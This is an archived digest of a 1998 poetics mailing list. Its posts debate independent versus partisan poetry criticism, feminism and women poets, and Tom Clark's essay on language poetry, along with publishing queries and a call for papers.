The best way to support this argument is to "read" the last 7 days of Henry the Bull postings in allegorical fashion. At the center we find the poem "Hieroglyph" which enacts a finally unproblematic response to "Papa" the house-builder & (Judaic?) Sphinx-interpeter; an unproblematic reading in isomorphic equilibrium with the unproblematic relationship of "independent critic" and "honest poem". Place this in the context of the total U.S. culture in which the "Papa" in the White House faces a "sementically" charged analysis of shattered presidential authority: we have a compensatory complex which begins to reveal the tragi-comic ENACTMENT of American reality. From the Sydney perspective, down here way south of the Meridian & out of the loop & very close to Poe's TEKE-LI-LI, what surfaces is America's dramatic AGON-EKSTASIS - the fateful LACK of an independent high culture expressed as the acting-out of

theatrical DISASTER at all levels crossing the Black VERNal JORDAN toward.... ??? Minstrel showbiz????

- Ben Carrelis, a.k.a. "Edgar Allan Poe"

p.s. one should point out, however, that, whatever the limitations of Henry the Bull's analysis, our counter-analysis only reinforces his "prophetic" enunciation. Why? Because if the presence of independent criticism is a tragic phantasm of the Bullish imagination, then the "blurb" as expression of appeal to the "general reader" (i.e. "this poet is going to change your world") is DOUBLY fantastic - and, in Henry's words, a true example of CHICANERY.

↑ Index

61. Rachel Loden

Re: pumping poetry

Mon 2 Feb 1998

Patrick Pritchett wrote (wisely I thought):

> *In other words, in the mutually interdependent world of the ten kajillion things, you can't have the one without all the others too. What you're really talking about is the end of a capital-based society - the end of the opposition between purity of vocation and Mammon - and a return to a gift economy. Well not really a return, but... Ja love, y'all.*

Lovely moment on public radio, caught with half an ear: William "Daddy bought me a magazine" Buckley is being interviewed and the mostly very deferential interviewer screws his courage to the sticking place and asks: "Do you see any contradiction between your Christian faith and your faith in capitalism?" Buckley continues to wax grandiloquently about this and that, ducks the question. Time runs out and the interviewer tries one last time: "So--do you see any conflict between your faith in Christianity and your faith in capitalism?" There's an awkward silence and then Buckley says "Noooo. If I saw any contradiction, I'd have to give up my faith in Chris--I'd have to give up my faith in capitalism."

God bless the child,

Rachel Loden

↑ Index

62. Herb Levy

Uh, (Was Re: I see now that by forwarding this I can make it available again)

Mon 2 Feb 1998

Joe Safdie (hi neighbor) wrote:

> *I'll have some more to say about David's lively, intelligent yet ultimately un-generous post (which didn't, by the way, deal with the reason I posted those stanzas) as soon as I can*

Since Dale Smith began his recent tirades by calling David Bromige a "self deluded, lying coward" & a "guardian of banality", among other things, I think a willingness on Bromige's part to continue ANY form of dialog with Smith is more than generous.

If Smith were interested in engaging in a discussion about the issues it might come of something, but given that his argument reduces to "if you knew him, you'd know that what he writes is what poetry is & always has been, nothing else is poetry & anyone who can't see this as the ultimate truth is an stupid asshole", I'm not sure that I can foresee any generous end to the current discourse.

A charmingly romantic gesture on Smith's part, I suppose, but not the way to try to talk among folks who are, whether he likes it or not, peers.

&, Joe, David's reading of the Clark passages you quoted deal EXACTLY with the reasons you posted those stanzas, by pointing out that

> *the*
> *lack of necessity to "interpret"*

which you find to be

> *a pleasure in and of itself*

is only unnecessary if you buy into the presuppositions of the writer's "plain statements."

See you on the block,

Herb

Herb Levy
[redacted]

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63. k. lederer
Re: First Intensity
Tue 3 Feb 1998

Does anyone know the mailing address for First Intensity?

Thanks,
Katy
[redacted]

↑ Index

64. Schuchat Simon
contents
Tue 3 Feb 1998

does anyone know what will be included (i.e., the table of contents) of the soon to appear 2 volume Library of America Gertrude Stein?

presumably not the entire text of Making of Americans but at around 1100 pages per volume it might be quite alot of everything else.

↑ Index

65. Mark Baker
Re: I see now that by forwarding this I can make it available again
Tue 3 Feb 1998

From Blank to Blank--
This Threaded Way
M pushed Mechanic feet--

or, as Lehman reports from the mainstream:

Iowa City was said to be the place where
all aspiring poets went, their poems written
on water, with blanks instead of words

Mark Baker

↑ Index

66. L.MacMahon and T.R.Healy
short words
Tue 3 Feb 1998

The discussion of short words and so on recalled Beckett's poem _Thither_, the title being a wry mini-doc on nationalism. In Ireland th will most likely be pronounced d or t. So, many of my compatriots would pronounce it _Tidder_ (Titter is possible but not used. In Gaelic it would be pronounced h giving us combinations like _Hitter_ and so on.) Also, few enough Catholic Paddies would know the word, which appears in _The Book of Common Prayer_ and the Authorised Version, thus fencing off the main religious menus. Denoting motion towards, this out-of-date couple of syllables, shibboleth and thumbnail history glosses many of the circles around which we, in this bi-partite island, have gone and are likely to continue going for some time.

Randolph Healy

↑ Index

67. Daniel Zimmerman
Re: First Intensity
Tue 3 Feb 1998

---

k. lederer wrote:
>
> Does anyone know the mailing address for First Intensity?
>
> Thanks,
> Katy
> [redacted]

Lee Chapman
Editor
First Intensity
P.O. Box 665
Lawrence, KS 66044

↑ Index

68. linda russo
missing gens, maria's q &c.
Tue 3 Feb 1998

---

maria, rachel, kevin, dodie, pat, juliana, gary --

i had poetics switched off but my friend chris alexander forwarded me your posts b/c he thought they would be of interest to me --

rachel's & maria's responses to gary's q's abt.
community interest & confuse me -- i had thought
the 70s-80s were a time of community & visibility building
for women poets (as juliana points out -- how(ever), & Tuumba & O
(tho the latter 2 not specifically geared twd. publishing women) --
which is part of the topic of an essay i'm currently writing, or a
dissertation i'm working on??));
weren't there also a lot of writing groups, etc?

since i *realized* innovative women poets (living 7 years in cambridge mass didn't help) I've wanted to find out more & there are a great deal of (both poetry & poetics) anthologies now -- but i always feel like i'm doing double-time (trying to read both genders) this is perhaps silly but i wish it weren't so. I want to have all that stuff in place -- a history of writing, not just men writing (re juliana's point abt langpo-originary tales) -- "annals" to turn to & i don't want to "discriminate" by only writing about or reading women -- but there isn't a lot out there, there are gaps -- probably b/c, as maria points out, the longer

the trip the lower a woman's survival rate. so i feel like a first-wave feminist (re-searching -- not whole canons (thank god!) -- but unearthing bits of history) when i want to be more "post-feminist" or postmodern (in the sense of there is only difference, we are all other).

Which brings me to the question of feminism & writing as praxis. It seems to me that if a woman in any way writes innovative poetry then she is a feminist, that her feminism somehow preceeds but doesn't determine her need to write (as it did say, in the 70s, e.g. Fraser's "poem in which my legs are accepted" (and the whole her early books) That is, feminism functions in the same way that *any* writer's politics are a precedent (e.g.less *overtly* feminist works, like Hejinian's _The Cell_ & Dahlen's _A Reading_) --

i guess i'm just tired of feminism being a woman-thing -- again, wanting to be a postmodern feminist -- but not having the tools (the tradition, the annals) to do that.

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69. Henry Gould

Re: Rachel, criticism, 420 E Davenport, anthropology--

Tue 3 Feb 1998

On Mon, 2 Feb 1998 13:46:07 -0600 k. lederer said:
>
>I think (as a sometimes-critic, and also as a poet) that good criticism is
>usually a homage to one's own taste--
>
>If I like a writer's work, I want people with whom I share "discourse" to
>be familiar with that person's work--
>
>I want that person to be able to publish a book if that's what he or she
>wants to do--
>
>I want to convince people that this writer is as good as I think he or she
>is so that, finally, I can further enjoy this person's work and share it
>with others--
>
>If I like a writer, I want to "share" that writer with others--
>
>Now of course my take on the writer is going to be highly
>situated--highly personal--
>

>If I set up camps or groups of writers--it is merely according to
>my whims, my take on their work--

Katy, I think the position you've laid out here is probably standard for the field at the moment. And if you read Ben Carrelis' interesting post from Australia, you'd understand that your position is the "safest", considering, as Ben pointed out, the dense, hermetic and highly autonomous nature of contemporary work & the need for a deep grounding in it before "standards" of criticism can be applied. Nevertheless, if this is the best that editors & critics can do, I find it rather sad. My call is for a truly independent criticism - in which critics maintain a concept of poetry-in-general - ADMITTEDLY SUBJECTIVE & developmental, perhaps, but still, a PERSONAL STANDARD - which allows them to write in truly critical fashion: i.e. as an interpreter, perhaps even a praiser, of work, but NOT as an advocate. Such independent criticism would require a style and approach which equals in originality & rectitude the individual standard "Henry" said is a requirement for making poetry itself ("the word on the line").

I am not trying to debunk your kind of criticism; in a multifarious world of deep writing such exploration is natural and necessary. All I am asking is that you & others not DENY the very possibility of a criticism which MEASURES (by its own standards) rather than PROMOTES a particular writing. - Henry Gould

↑ Index

70. Rachel Levitsky
Winter poetry in Boulder
Tue 3 Feb 1998

Hello Poetics.

Rachel Levitsky here to report on last Thursday's Left Hand Reading.
Listling Patrick Pritchett,
Naropa student, Megan Marsnik,
and CU Creative Writing chair, Marilyn Krysl

took the audience,

which was mostly sitting on the floor since to our surprise the previous owner took the chairs with him when he moved and sold the building to health food giant Wild Oats (no one is sure of future fate of reading space, but all signs suggest there is reason to be worried)

like I said, we took a ride around the world, from Pritchett's journey into chemistry of the fire burns Joan of Arc--it's parallel agency with language:

"Fire as verb as noun

as endless altar and supercollider"

to Megan Marsnik's (four) stories covering (inhabiting) the terrain of domesticity, ending with a scathing, hilarious spoof on the halo of reception that pregnancy receives, the assumed bliss of a woman in that compromised state.

to Marilyn Krysl's exquisite economy of words, crossing with the economy of India, her travels in South Asia, including a few month's work at a Mother Theresa hospice, turned into careful, eerily passionate collection of poems _Warscape With Lovers_ which earned Krysl the Cleveland State Poetry Center prize.

The Series has four open slots, and the second to last was filled by Marc DuCharme, who blasted out an incredible collaboration, the collaborators name I can't remember, that wouldn't quit, as wouldn't Marc's brilliant presentation. What I remember is the poems repeatedly expressed desire to end itself, but couldn't, without covering all of it.

↑ Index

71. Tom Mandel

"*indie*"

Tue 3 Feb 1998

The term "indie" is a net term, or so I think -- it claims to mean "independent" but really just means "individual" and refers to sites on the net where someone offers opinion or analysis on his own hook, i.e. not as part of an institution.

Examples from the industry I know best include the sites of Dave Winer www.scripting.com/davenet/ or Doc Searls' Reality 2.0 at www.searls.com/r2.html or Chris Locke(aka Rage Boy)'s site at http://www.rageboy.com. (These are all friends of mine, so if you don't like their work tell somebody else)

There are equivalent sites by the hundreds of thousands I'd guess on every topic.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

72. Dale M Smith

Uh,

Tue 3 Feb 1998

Actually, my 'argument' said that there is a vulnerability in these poems that David did not acknowledge. If I confused this with Tom's personal life it's because I find poetry to be personal as well as a public statement, reflec tion or expression etc... And the 'us-them' bianary I'm accused of does not originate with me. Scroll through the archives of this list and you will find plenty of examples in which Tom or Ed have been branded with various stigmatas that place them well outside of the poetics community shared by many here. I d on't know what else it takes to 'engage' on this list, by the way. As a 'peer' I think I've responded with generous efforts to explain my positions. Maybe referring to David, in a moment of anger, as a self-delusional coward, etc. was out of line. But as a guardian of... something...I still have no doubts. Just as I, for whatever reasons of dementia and devotion, respond in kind to comment s I find floundering in the usual realms of accepted platitudes. If that's 'charming' or 'romantic' great. And by the way, those poems Joe posted, though apropos to the discussion, aren't very representative of Tom's work. But I doubt if this list would generate much discussion about his poems on Keats, say. Or other unfashionable subjects like that. The syntax might be too 'uninteresting.' As if sintax was the only measure of verse. The sensual pleasures of language - the music, the rhythm - can be as entertaining as the mental stimulation of syntax.

To: [redacted]

Joe Safdie (hi neighbor) wrote:

> *I'll have some more to say about David's lively, intelligent yet ultimately un-generous post (which didn't, by the way, deal with the reason I posted those stanzas) as soon as I can*

Since Dale Smith began his recent tirades by calling David Bromige a "self deluded, lying coward" & a "guardian of banality", among other things, I think a willingness on Bromige's part to continue ANY form of dialog with Smith is more than generous.

If Smith were interested in engaging in a discussion about the issues it might come of something, but given that his argument reduces to "if you knew him, you'd know that what he writes is what poetry is & always has been, nothing else is poetry & anyone who can't see this as the ultimate truth is an stupid asshole", I'm not sure that I can foresee any generous end to the current discourse.

A charmingly romantic gesture on Smith's part, I suppose, but not the way to try to talk among folks who are, whether he likes it or not, peers.

&, Joe, David's reading of the Clark passages you quoted deal EXACTLY with the reasons you posted those stanzas, by pointing out that

> *the*
> *lack of necessity to "interpret"*

which you find to be

> *a pleasure in and of itself*

is only unnecessary if you buy into the presuppositions of the writer's "plain statements."

See you on the block,

Herb

Herb Levy
[redacted]

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73. Tom Mandel
Tom Clark's Brecht quote
Tue 3 Feb 1998

I didn't read Tom Clark's Partisan Review essay; I didn't even hear much about it at the time. Hence I wasn't aware that he'd used Brecht's 1942 quote as a way to characterize language poetry.

David Bromige's excellent post on Clark, which btw exemplifies the ways a poet can be a wonderful critic, does not all the same go far enough in showing us the nature of this ugly smear (and, by implication, this ugly man).

All I know of the essay (& I expect never to know more) is its title (reference to Stalin) and the Brecht quote (reference to Hitler). That's enough for me.

The title quotes a poem by Watten (I don't remember which, however), which itself refers to the fact that Stalin authored (i.e. somebody wrote for him) a pamphlet on Linguistics. It's among my books somewhere, but I can't locate it easily enough to find and supply its title. I'm sorry not to be able to be more specifically helpful re: Barry's poem or Stalin's pamphlet.

Obviously, the reference to this work or self-positioning of Stalin is the entry point to whatever world of reference, thought, analysis, feeling is opened up in Watten's line (for an analysis of which however I'd need the context at hand). Obviously, also, it is *not* a simple naming of Stalin as a linguist. Neither simple identification, nor any kind of naming of an authority. Nor is it a characterization of language.

It would appear, however, that this is how Tom Clark wants to use it. He wants to use it against his fellow poets. The moreso given his really quite disgusting appropriation of Brecht's words to the identical purpose of harming his fellow poets.

My work is associated with the group of poets Tom Clark sought to flavor with the odor of fascism, of Stalinism. It's more than a decade ago, but I can smell the brush he waved past my face.

I'm also a Jew. Most of my family on my father's side and many on my mother's side were killed by Nazis.

I don't mind if Tom Clark sells himself; I don't even mind if he sells himself to the devil. And I don't think my personal history condemns his foul words. But, I do tend to take this kind of thing a little personally. I don't want that brush in my face.

For a long time, I studied with Hannah Arendt, author of Eichmann in Jerusalem. I struggled with the conclusion to that book, in which Arendt at once acknowledges the immorality of punishment by death and at the same time approves the execution of Eichmann. I went to see her in her office with my struggle. I well remember her words that there are people who exclude themselves from the social contract by their actions, who put themselves outside of moral consideration. It was in this way that she could accept and even underline the execution of Eichmann.

What exists on that scale also exists on a smaller scale. I'm not suggesting that Tom Clark put himself outside the moral order -- not at all. But that intellectual act was outside the moral order, hintingly associating poets around him with fascism and Stalinism and by contrast obviously positioning himself in the role of resist- ance, the moral role -- selling himself in that role -- I find that disgusting.

For every person who pushes himself forward at another's expense in this manner, there are acolytes waiting to line up behind the effort. I'm sorry to see Joe Safdie and Dale Smith line up behind Tom Clark's effort to position his poetic career on the backs of his peers.

Perhaps Joe at least will say that his relation to this is more complex; that he is not a supporter of the position. I don't think Dale has that option, except by way of changing his mind (which would be welcome). I also don't think, however, that there is a more complex or nuanced response available. Casuistry is not a noble art of mind. Tom Clark's undeniable verbal skill and nimble imagination don't militate against purpose; they only make it more necessary to resist that purpose.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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74. Karen Kelley
Re: Rachel, criticism, 420 E Davenport
Tue 3 Feb 1998

Hi Henry,

I admire your commitment tp this issue! In the last post you wrote:All I I am asking is that you & others not DENY the very possibility of a criticism which MEASURES (by its own standards) rather than PROMOTES a particular writing._

And if a poetry does _measure up_ (to my own critical standards), do I then _promote_ it? Would expressing too much delight in the work count as promotion (if I were a critic with a large audience)?

For all the occasional swipes it's fashionable to take at Helen Vendler, I must admit that I love reading her on Wallace Stevens--in large part because she's so clear about how much she loves his work.

Isn't that how we often explain art to each other--by pointing out the qualities that delight us?

Karen

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75. David Benedetti
Re: I can't see now by forwarding this
Tue 3 Feb 1998

Joe--you can't really separate the syntax from the content.

On Mon, 2 Feb 1998, Safdie Joseph wrote:
> I'll have some more to say about David's lively, intelligent yet
> ultimately un-generous post (which didn't, by the way, deal with the
> reason I posted those stanzas) as soon as I can -- but really, emptying
> verse of its so-called "buzz words" -- its CONTENT! -- to call attention

> to its syntactical framework seems an empty exercise indeed.
>

↑ Index

76. David Benedetti
Re: criticism rules, or non-rules
Tue 3 Feb 1998

On Mon, 2 Feb 1998, Dale M Smith wrote:
> As poetry and criticism blur into a more and more similar form, the
> power of both weakens.
>

I find the opposite. When poetry expands to "include" criticism--or critical tactics--it gets more interesting for me, and loses nothing, only gains.

Postmodern criticism is sometimes poetic.
Postmodern poetry is sometimes quite "critical."

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77. Mark Wallace
criticism rules
Tue 3 Feb 1998

My apologies to Henry Gould for misstating his academic position, and for my harshness of tone, although undoubtedly there were aspects of what he said that were upsetting to me. Actually--how do these rumors get started?--somehow or other I was completely convinced that he was a university professor. In any case, I receive the poetics digest and didn't see that Henry had probably posted a more generous response to the debate BEFORE my last response. I wouldn't have continued in the tone that I did if I had known.

I think I would still suggest, Henry, that there may be more independence in the poet-critic voices than you quite give credit for. We don't simply promote each other, without critique, although it seems to me that there are certain environments in which this kind of promotion is called for--and sometimes this list is such an environment. Rather sharp debate continues among poets and poet-critics of all stripes, and some of the writers whose recent work I admire highly I have also been critical of when the situation seems to call for it. I have a huge amount of admiration for Ron Silliman, but when I think he's wrong about something, which is actually rarely, I'm quite ready to say so. The criticism of Steve Evans is of profound current importance, yet I have published and posted commentary which also includes those places where I've found his arguments

less than sufficient, to me at least. And I think many other poets and critics are involved in this sort of activity also.

Ultimately, I don't think the difference is between critics with cultural and poetic investments and those free of such investments, but between the various kinds of investments that all critical writing has--its loyalty or not to certain writers, its involvement with the industry that makes its own existence possible, perhaps its financial concerns. I agree with Dale Smith that writers need to "come clean" with the underpinnings of their various allegiances, but I don't think that there is some independent space outside of those allegiances. Does that mean such criticism is biased, as well as fractious, etc? Certainly. But I frankly see such overt partiality, if handled with an attempt to make such partiality clear rather than a hidden subtext, as essentially a positive force. Indeed the only way it could not be such would be if we still entertained the fiction that a purely "objective," unattached criticism could possibly exist.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |

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78. **d powell**
Re: contents
Tue 3 Feb 1998

Schuchat Simon wrote:
>does anyone know what will be included (i.e., the table of >contents) of
>the soon to appear 2 volume Library of America Gertrude Stein?
>
>presumably not the entire text of Making of Americans but at >around 1100
>pages per volume it might be quite alot of everything else.
>
I would love to know as well. I hope that some of the collected works that didn't appear in that Yale GS will be available. Also, I think Brewsie and Willie is a must of the later work. And since the Van Vechten collection did Tender Buttons and the Autobiography of ABT in their entirety, it seems pointless to duplicate these. How about Geography and Plays in its entirety? Hey, Library of America, if you're listening, give us Geography and Plays!

Doug

==========
D A Powell [redacted]
==========

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79. **hen**

Re: Rachel, criticism, 420 E Davenport

Tue 3 Feb 1998

----------Original message---------- Hi Henry,

I admire your commitment tp this issue! In the last post you wrote:All I I am asking is that you & others not DENY the very possibility of a criticism which MEASURES (by its own standards) rather than PROMOTES a particular writing._

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For all the occasional swipes it's fashionable to take at Helen Vendler, I must admit that I love reading her on Wallace Stevens--in large part because she's so clear about how much she loves his work.

Isn't that how we often explain art to each other--by pointing out the qualities that delight us?

--- I have no quarrel with this. I think a serious critic will explain HOW a particular work measures up to WHAT standards; that these standards will be fairly perceptive, consistent, and informed by wide reading; and that the critic will display a certain CRITICAL INTELLIGENCE which manifests itself in ORIGINALITY - i.e. not the writing of a protege, a worshipper, a party-line adherent, or a hack. Tell me something about poetry in your review; don't just blindly glorify your subject. The whole thrust of this thread has been to alert people to the amount of "overdetermined" pure peddling that goes on, and that if you're an honest critic, you are separating yourself from ALL that; you have a choice when you sit down to write. - Henry Gould

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80. **Maria Damon**

Re: Response to Maria's Question

Tue 3 Feb 1998

At 12:38 PM -0500 2/2/98, Gary Sullivan wrote:
>Yow! I'm sorry, Maria! I really never meant to put you on the defensive, nor
>did I mean to imply you weren't dancing as fast as you can. I know you are! My
>question was probably very naive; I was under the assumption that your >original
>question ("anyone else noticed imbalance?") implied longing for some
>more-than-individual push toward rectification. Further assumption being that
>any such nudge might, at this time, be communal, as opposed to individual,
>effort. I thought you were calling to arms! & was kinda prompting you further,
>wondering if you had some ideas you were tempted to throw out. Anyway, putting
>you on the defensive was really the last thing on my mind. Forgive me!
>
>Gary Sullivan
>[redacted]

see, i've just enacted one of the ways in which i don't get more done; i bristle, misunderstand something, and communication gets weird. no harm done gary yr a pal and i appreciate your style. when i asked the question --anyone else noticed imbalance --it was, of course, coming from someplace, but the question was not simply rhetorical; i.e. the aanswers, particuarly laura moriarty's, have indicated that there is probably more to the picture than i'm figuring into the picture. as for communal strategies, hmmm; i don't know what i cd do, at the U. not that many folks are interested in the kind of writing i'm interested in (poetry); my grad seminars usually draw abt 4 students and are in constant danger of cancellation (meaning that i'd "owe" the U a course somewhere down the line). The amount of $ it costs to even bring one writer (expenses plus honorarium) is prohibitive. the amount of arranging and organizing it takes to bring even one writer is, for my limited energies, prohibitive. after the series you participated in, i was told that in the future i shd focus on more "nationally known" figures (i should've retorted "known to whom?" or, "some of these folks, like erik belgum, are *inter*nationally known") --but what "nationally known" figure wd come for the miniscule $50 honoraria you all got? (which brian and i secured by listing y'all as "human subjects" on the grant proposal). anyway, there i go whining again. sorry! again, no harm done. xo, md

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81. Maria Damon
Re: criticism rules
Tue 3 Feb 1998

At 12:15 PM -0600 2/2/98, Dale M Smith wrote, in connection w/ a general riff about the academy's attact on poetry:
>... The continued removal of literature from practical
>interprative skills?

*** it gets worse, dale. there are those of us who don't even believe in the concept of "practical interpretive skills" as opposed to other methods of apprehension. -md

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82. pritchpa
Re: Rachel, criticism, 420 E Davenport, anthropology--
Tue 3 Feb 1998

Katy Lederer makes some fine points here, which I see operating in support of Don Byrd's very sensible suggestion that one should review one's friends. Why not? DH Lawrence wrote (contra Eliot) that all good criticism is subjective. Of course, TSE was subjective too - he just liked to pretend he wasn't. Sound familiar HG? That all good criticism involves a sympathetic reading of a work seems to me axiomatic, if I may make that pronouncement. Where is the so-called "independence" in that? It's less a matter of personal Olympianism than it is of "like to like." Nietszche rightly mocked the cult of the individual - "you claim you are free? Then show my your master stroke!" (Crude paraphrase from _Zarathustra_).

To rephrase my earlier comment, Henry Gould wants to rescue the poem's original use-value from its current market-value. Grandiosity notwithstanding, this is a laudable goal. But as Mark Wallace pointed out in his excellent post, there's plenty of critical work already out there which accomplishes just that and to cite some specific examples, I'll mention again Hank Lazer's _Opposing Poetries_ which is as judicious a book of criticism as one could ask for. There are others. John Taggart's _Songs of Degree_ comes to mind. Criticism which is not intensely partisan is very probably not worth a damn (though this too can be carried to an extreme) and unless I'm way off, you seem to agree, Comrade Hank.

Patrick Pritchett

From: k. lederer
To: [redacted]

Subject: Re: Rachel, criticism, 420 E Davenport, anthropology--
Date: Monday, February 02, 1998 1:46PM

I think (as a sometimes-critic, and also as a poet) that good criticism
is
usually a homage to one's own taste--

How can an observer even pretend to be objective about another culture (poetic?)?

Rather than push objectivity, perhaps we should try a new approach--and push subjectivity.

Yours,
Katy (Mrs. Robinson Upstairs)

↑ Index

83. Henry Gould
criticism rules
Tue 3 Feb 1998

Mark Wallace wrote: Ultimately, I don't think the difference is between critics with cultural and poetic investments and those free of such investments, but between the various kinds of investments that all critical writing has--its loyalty or not to certain writers, its involvement with the industry that makes its own existence possible, perhaps its financial concerns. I agree with Dale Smith that writers need to "come clean" with the underpinnings of their various allegiances, but I don't think that there is some independent space outside of those allegiances. Does that mean such criticism is biased, as well as fractious, etc? Certainly. But I frankly see such overt partiality, if handled with an attempt to make such partiality clear rather than a hidden subtext, as essentially a positive force. Indeed the only way it could not be such would be if we still entertained the fiction that a purely "objective," unattached criticism could possibly exist.

I appreciate your kind reaction to my somewhat baited remarks in previous posts. But the above paragraph shows where we are in basic disagreement. The argument I have tried to make over the past few days is that just as the poet needs to have a ferocious sense of personal responsibility for his or her "word on the line", the substantial thing a critic has to offer in this arena is a free devotion to poetry in its entirety and a ferocious disposition to make an independent reading of every new work. I don't disagree with you that the storm and stress between poets and groups in their jockeying for attention, recognition, and authority may be a healthy thing. It's probably both healthy and unhealthy in various ways. I simply would not call them (to paraphrase Montale) free critics. The poetry world perhaps above all others is swallowed up in

feverish "promotion" simply because there are no agreed-upon standards and no one outside the poetry world is listening. There never will be agreed-upon standards; but there will be critics who will hold themselves aloof from the buddy-system, careerism, politics, and puffery for the sake of criticism itself. Believe in the silver circus thread up to the tightrope. - Henry Gould

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84. Mark Prejsnar
The task of criticism
Tue 3 Feb 1998

1. Poets should do criticism.

2. They should do (in large part) criticism that allows 'em to spell out their interests and poetics.

3. This means a large amount of what they publish should be *positive* and should *promote*...This'll mean they are often promoting poets they have much in common with, and thus fairly often their freinds. They should nevertheless be able to make a free-standing intellectual argument of reasonable coherence (and energy and interestingness) as to why such poetry is good (or energetic, or interesting)..

4. They should think long and hard before being sharply critical of other poets, because most of us have few enuff resources as things stand..

5. They should even try to promote and find value in work that is quite different from their own.

6. If they feel it is truely in the interests of the art to be negative about someone, they should slash away (..if they feel comfortable taking the same medicine back!)

7. Poets should do criticism. In general, I find, they are the ones who have something interesting to say.

mark
@lanta

↑ Index

85. Mark Nowak
Call for Papers (Xcp)
Tue 3 Feb 1998

Xcp: Cross Cultural Poetics, a journal of poetry, poetics, ethnography, and cultural & ethnic studies, seeks submissions, proposals, and inquiries regarding potential publication in its forthcoming volumes:

Xcp no. 3: "Fieldnotes & Notebooks"
-- scheduled to appear: October 1, 1998
-- submissions due by: May 1, 1998

Xcp no. 4: "Voyage/Voyageur/Voyeur"
-- scheduled to appear: February 1, 1999
-- submissions due by: September 1, 1998

Xcp no. 5: "Dia/Logos: Speaking Across"
(plus a special Nathaniel Tarn section)
-- scheduled to appear: July 1, 1999
-- submissions due by: February 1, 1999

Xcp 2000: "Documentary in the New Millennium"
-- scheduled to appear: January 1, 2000
-- submissions due by: August 1, 1999

All correspondence should be accompanied by an SASE and directed to: Mark Nowak, ed., Xcp: Cross Cultural Poetics, c/o College of St. Catherine-Mpls., 601 25th Avenue South, Minneapolis, MN, 55454. E-mail inquiries can be made by writing the editor: [redacted]. Visit our website for more information and updates: http://www.stkate.edu/xcp/

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86. Christina Fairbank Chirot
Re: Celan & Visual Poetry
Tue 3 Feb 1998

Thanks to Pierre Joris for his comments on Celan and Mandelstam--

Later this year will be appearing an anthology by forty visual poets from around the world--two works apiece--made in response to a poem of Celan's, "Blackbird"--the anthology contributors are visual poets who have been contributing to Harry Burrus' O!!ZONE in the last two years and is edited by David Stone--in Baltimore.

When more information is forthcoming, it wil be forwarded--

dave baptiste chirot

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87. Dale M Smith
Re: criticism rules
Tue 3 Feb 1998

Yeah. I can tell that by a lot of the criticism out there, Maria.

To: [redacted]

At 12:15 PM -0600 2/2/98, Dale M Smith wrote, in connection w/ a general riff about the academy's attact on poetry:
>... The continued removal of literature from practical
>interprative skills?

*** it gets worse, dale. there are those of us who don't even believe in the concept of "practical interpretive skills" as opposed to other methods of apprehension. -md

↑ Index

88. Richard Quinn
query: jazz and spoken word
Tue 3 Feb 1998

I am compiling an annotated discography of jazz/spoken word recordings for a research project on the history of jazz and the unsung voice. I would greatly appreciate any assistance with titles, web sites or other sources where jazz/spoken word recordings might be found. Please backchannel.

Many thanks,
Richard Quinn

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89. pritchpa
Re: missing gens, maria's q &c.
Tue 3 Feb 1998

Linda Russo raises an interesting point about "feminism being a woman-thing." I would like to think "we" are moving beyond that into a broader definition of feminism, though this may be disturbing to more traditional feminists since it seems to imply a waning of political attention to women's issues - I would hope it would be just the opposite, though. Certainly vis-a-vis Cixous' idea of ecriture much experimental writing would fit broadly under the feminist rubric, but if it does, then again, the definition of that term is changing.

I attended a talk given by Susan Faludi last fall here in Boulder (ratio of women to men in attendance roughly 3:1). Many women were upset when she announced that her new book would be looking at (heterosexual) men's issues re: relationships, empowerment, etc. They took this as a betrayal but it seemed to me not only like a generous gesture, but like the next logical step. As you say, Linda, it's difficult terrain to negotiate since there's little or no precedence to rely on. Judith Butler and Gayle Rubin seem to be offering alternative/postmodern models for gender that challenge and expand the narrow parochial views of

the Catherine MacKinnon camp but my sense is that no one's too clear about the Big Picture or where theory and praxis are leading next.

Patrick Pritchett

From: linda russo
To: [redacted]
Subject: missing gens, maria's q &c.
Date: Tuesday, February 03, 1998 6:58AM

Which brings me to the question of feminism & writing as praxis. It seems to me that if a woman in any way writes innovative poetry then she is a feminist, that her feminism somehow preceeds but doesn't determine her need to write (as it did say, in the 70s, e.g. Fraser's "poem in which my legs are accepted" (and the whole her early books) That is, feminism functions in the same way that *any* writer's politics are a precedent (e.g.less *overtly* feminist works, like Hejinian's _The Cell_ & Dahlen's _A Reading_) --

i guess i'm just tired of feminism being a woman-thing -- again, wanting to be a postmodern feminist -- but not having the tools (the tradition, the annals) to do that.

↑ Index

90. Don Byrd
Re: The task of criticism
Tue 3 Feb 1998

Mark Prejsnar wrote:

> *1. Poets should do criticism.*

* * *

> *7. Poets should do criticism. In general, I find, they are the ones who have something interesting to say.*

The state of the academy is such that there are no more than half a dozen graduate programs where one can learn enough about contemporary poetry to even begin the work of criticism. One can learn to be excellent critics of Stevens in many English Departments and one might learn how to read Yeats, perhaps even Williams. I suppose you can still learn Eliot (who was about the only one you could learn when I was an undergraduate). It will be hard to learn

how to read Pound, even harder to learn how to read Hart Crane, almost impossible to learn Gertrude Stein, even H.D. or Marianne Moore. Notably none of these poets were born in the 20th century.

Of poets, born in this century, you will be able to learn how to read them only to the extent they resemble the known modernist masters. Thus, you will be able to learn to read Ashbery to the extent that he resembles Stevens (not very much); you will be able to learn read Olson to extent he resembles WCW (hardly at all); you will not be able learn any thing about reading Coolidge or Mayer because you can't learn how to read Stein.

Pound said that the "beaneries" lag behind poetry by fifty years. This situation, if any thing, has gotten worse since he wrote.

I can think of very little I have read about poetry by critics who were not at least occasional poets which has been of much use to me either as a poet or a reader of poetry. Biographies are some times useful occupations of academic's time, and often the best academic criticism is a kind of disguised biography (e.g. Kenner's The Pound Era). This is not a new situation. Most often, you will find that if an academic critic has something interesting to to say, s/he is cribbing off the criticial writings of poets.

If you want to know about poetry, read poets, beginning with Coleridge or Sidney or Dante. You will find more in the letters of Keats or even the essays of Mathew Arnold, for pete's sake, about poetry than you will in the writings of contemporary Ph.D. critics from the best graduate schools, who are likely (still! what? forty or fifty years after Roy Harvey Pearce) still to be reading all American poetry only to the extent that it resembles Emerson.

